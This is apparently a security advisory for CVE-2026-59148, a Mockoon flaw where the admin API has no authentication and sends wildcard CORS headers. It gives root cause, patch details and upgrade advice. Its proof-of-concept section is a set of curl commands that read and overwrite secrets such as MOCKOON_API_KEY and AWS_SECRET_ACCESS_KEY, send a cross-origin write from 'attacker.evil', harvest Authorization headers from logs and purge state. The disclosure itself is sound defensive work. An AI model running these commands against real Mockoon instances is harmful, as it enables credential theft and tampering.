high · 8.8CVE-2026-59148Sep 11, 2026

CVE-2026-59148: @mockoon/commons-server Unauthenticated Admin API + Wildcard CORS

Rohit Hatagale
AI Security Researcher, SecureLayer7

Mockoon's built-in admin API had no authentication and replied with Access-Control-Allow-Origin: * on every endpoint, letting anyone who could reach the mock server port, including a malicious…

Package@mockoon/commons-server
Ecosystemnpm
Affected< 9.7.0
Fixed in9.7.0
CVE-2026-59148: @mockoon/commons-server Unauthenticated Admin API + Wildcard CORS

The problem

In all Mockoon runtimes before 9.7.0, the admin API at /mockoon-admin/* was mounted on the same Express listener as user routes and was enabled by default. It carried zero authentication: no token, no shared secret, no environment-variable gate.

The API also replied with Access-Control-Allow-Origin: * and allowed POST/PUT/PATCH/DELETE with Content-Type in Access-Control-Allow-Headers. That combination means browser preflights pass for non-simple JSON requests. A developer who visits a malicious page while their local Mockoon CLI is running is fully exploitable from JavaScript, with no user interaction beyond the page load.

Impact spans secret theft (MOCKOON_* env vars holding API keys and JWT secrets), arbitrary process.env poisoning (no prefix check on the write path, so AWS_SECRET_ACCESS_KEY and similar vars are fair game), runtime rewrite of every mock route body and status code, live harvesting of consumer auth headers via transaction logs and the SSE stream, and full state purge.

Proof of concept

A working proof-of-concept for CVE-2026-59148 in @mockoon/commons-server, with the exact payload below.

bash
# 1) Read an operator secret (no auth required)
curl -s http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
# → {"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

# 2) Poison an operator secret
curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
  -H 'Content-Type: application/json' \
  -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
# → {"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

# 3) Overwrite an arbitrary process env var (no prefix gate pre-patch)
curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
  -H 'Content-Type: application/json' \
  -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'

# 4) Cross-origin CSRF from a malicious page (browser preflight passes)
#    OPTIONS confirms wildcard CORS:
curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
  -H 'Origin: https://attacker.evil' \
  -H 'Access-Control-Request-Method: POST' \
  -H 'Access-Control-Request-Headers: Content-Type'
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS

#    Then the actual cross-origin write lands:
curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
  -H 'Origin: https://attacker.evil' \
  -H 'Content-Type: application/json' \
  -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'

# 5) Harvest consumer auth headers from transaction logs
curl -s 'http://127.0.0.1:3100/mockoon-admin/logs?limit=10'
# Each entry includes request.headers (Authorization, Cookie, X-API-Key) in clear

# 6) State purge (DoS)
curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge

Two separate code paths combine to make this critical. First, admin-api.ts applied Access-Control-Allow-Origin: * via an Express wildcard middleware covering every /mockoon-admin/* route, with POST/PUT/PATCH/DELETE and Content-Type all allowed. Because Content-Type: application/json is a non-simple header, the browser sends a preflight, which the wildcard CORS policy passes, so JavaScript on any origin can make credentialed writes.

Second, the setEnvVarHandler wrote process.env[key] = value with no prefix restriction on the key. The read path already filtered to MOCKOON_-prefixed names, but the write path did not, meaning an attacker could clobber any process-level variable, including cloud SDK credentials consumed by the surrounding runtime.

The patch (commit c420b5a) added mandatory bearer-token authentication on every admin endpoint, stripped the wildcard CORS block entirely (no CORS headers emitted by default), and added the same prefix check to the write path that already existed on the read path.

CWE-306 (Missing Authentication for Critical Function) and CWE-942 (Permissive Cross-domain Security Policy) are both directly exercised.

The fix

Upgrade @mockoon/commons-server, @mockoon/cli, and @mockoon/serverless to **9.7.0**. The admin API now requires a bearer token on every request. For the CLI, pass --admin-api-token <token> or set MOCKOON_ADMIN_API_TOKEN; if neither is provided, the CLI auto-generates a secure random token at startup and prints it to stdout.

CORS is off by default; opt in explicitly if a separate admin UI on another origin needs access. If upgrading immediately is not possible, pass --disable-admin-api to the CLI to suppress the API entirely, and ensure the mock server port is not reachable from untrusted networks or browsers.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research